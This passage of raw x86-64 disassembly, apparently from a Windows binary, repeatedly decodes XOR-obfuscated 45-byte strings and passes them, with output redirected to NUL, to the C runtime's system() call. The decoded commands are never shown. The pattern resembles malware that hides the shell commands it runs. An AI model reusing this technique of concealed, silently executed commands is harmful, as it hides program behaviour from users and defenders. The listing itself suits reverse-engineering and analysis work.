movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140060540
cmp r8d, 0x2d
jge 0x140060670
movsxd rax, r8d
lea r9, [rbp + 0x128]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140060640
mov r8, r10
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0xdf0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xdd0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x218]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0xdb0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xdb0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x218]
call fcn.140071c30
nop
lea rcx, [rbp + 0xdd0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xdf0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe10]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe30]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xed0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xeb0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f64a8]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [0x1400f64b8]
movups xmmword [rbp + 0x108], xmm1
movsd xmm0, qword [0x1400f64c8]
movsd qword [rbp + 0x118], xmm0
mov ecx, dword [0x1400f64d0]
mov dword [rbp + 0x120], ecx
movzx eax, byte [0x1400f64d4]
mov byte [rbp + 0x124], al
mov r8d, r14d
cmp r15d, 2
jl 0x1400608ab
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0xfc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400607c0
cmp r8d, 0x2d
jge 0x1400608f0
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400608c0
mov r8, r10
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0xe90]
call fcn.1400729f0
nop
lea rdx, [0x1400f5d38]
mov rcx, rax
call fcn.140071b90
mov rdx, rax
lea rcx, [rbp + 0x238]
call fcn.140071d20
nop
mov r8, rbx
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0xe70]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xe50]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xe50]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe70]
call fcn.140071c30
nop
lea rcx, [rbp + 0x238]
call fcn.140071c30
nop
lea rcx, [rbp + 0xe90]
call fcn.140071c30
nop
lea rcx, [rbp + 0xeb0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xed0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xf90]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xf70]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1998]
lea rcx, [rsp + 0x30]
call fcn.14005dc70
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140060b40
mov r8d, r14d
cmp r15d, 2
jl 0x140060afd
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140060a12
cmp r8d, 0x2d
jge 0x140060b40
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140060b10
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0xf50]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xf30]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xf10]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xef0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xef0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf10]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf30]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf50]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf70]
call fcn.140071c30
nop
lea rcx, [rbp + 0xf90]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1050]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1030]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1968]
lea rcx, [rbp - 0x5e]
call fcn.14005dcb0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140060d80
mov r8d, r14d
cmp r15d, 2
jl 0x140060d3c
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140060c51
cmp r8d, 0x2d
jge 0x140060d80
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140060d50
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1010]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xff0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xfd0]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0xfb0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xfb0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xfd0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xff0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1010]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1030]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1050]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1110]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x10f0]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1938]
lea rcx, [rbp - 0x5d]
call fcn.14005dcf0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140060fc0
mov r8d, r14d
cmp r15d, 2
jl 0x140060f7c
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140060e91
cmp r8d, 0x2d
jge 0x140060fc0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140060f90
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x10d0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x10b0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1090]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1070]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1070]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1090]
call fcn.140071c30
nop
lea rcx, [rbp + 0x10b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x10d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x10f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1110]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x11d0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x11b0]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1908]
lea rcx, [rsp + 0x54]
call fcn.14005dd30
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140061200
mov r8d, r14d
cmp r15d, 2
jl 0x1400611bd
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400610d2
cmp r8d, 0x2d
jge 0x140061200
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400611d0
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1190]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1170]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1150]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1130]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1130]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1150]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1170]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1190]
call fcn.140071c30
nop
lea rcx, [rbp + 0x11b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x11d0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1290]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1270]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x18d8]
lea rcx, [rsp + 0x55]
call fcn.14005dd70
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140061440
mov r8d, r14d
cmp r15d, 2
jl 0x1400613fd
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140061312
cmp r8d, 0x2d
jge 0x140061440
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140061410
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1250]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1210]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x11f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1210]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1230]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1250]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1270]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1290]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1350]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x1330]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x18a8]
lea rcx, [rsp + 0x56]
call fcn.14005ddb0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140061680
mov r8d, r14d
cmp r15d, 2
jl 0x14006163d
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140061552
cmp r8d, 0x2d
jge 0x140061680
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140061650
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1310]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x12f0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x12d0]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x12b0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x12b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x12d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x12f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1310]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1330]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1350]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x1410]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x13f0]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1878]
lea rcx, [rsp + 0x57]
call fcn.14004b350
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400618c0
mov r8d, r14d
cmp r15d, 2
jl 0x14006187d
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140061792
cmp r8d, 0x2d
jge 0x1400618c0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140061890
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x13d0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x13b0]
call fcn.140072780
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1390]
call fcn.1400727e0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1370]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1370]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1390]
call fcn.140071c30
nop
lea rcx, [rbp + 0x13b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x13d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x13f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x1410]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x14d0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x14b0]
call fcn.14003c4c0
mov rdi, rax
lea rdx, [rbp + 0x1848]
lea rcx, [rsp + 0x58]
call fcn.14004b390
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140061b00
mov r8d, r14d
cmp r15d, 2
jl 0x140061abd
movdqa xmmword [rsp + 0x40], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
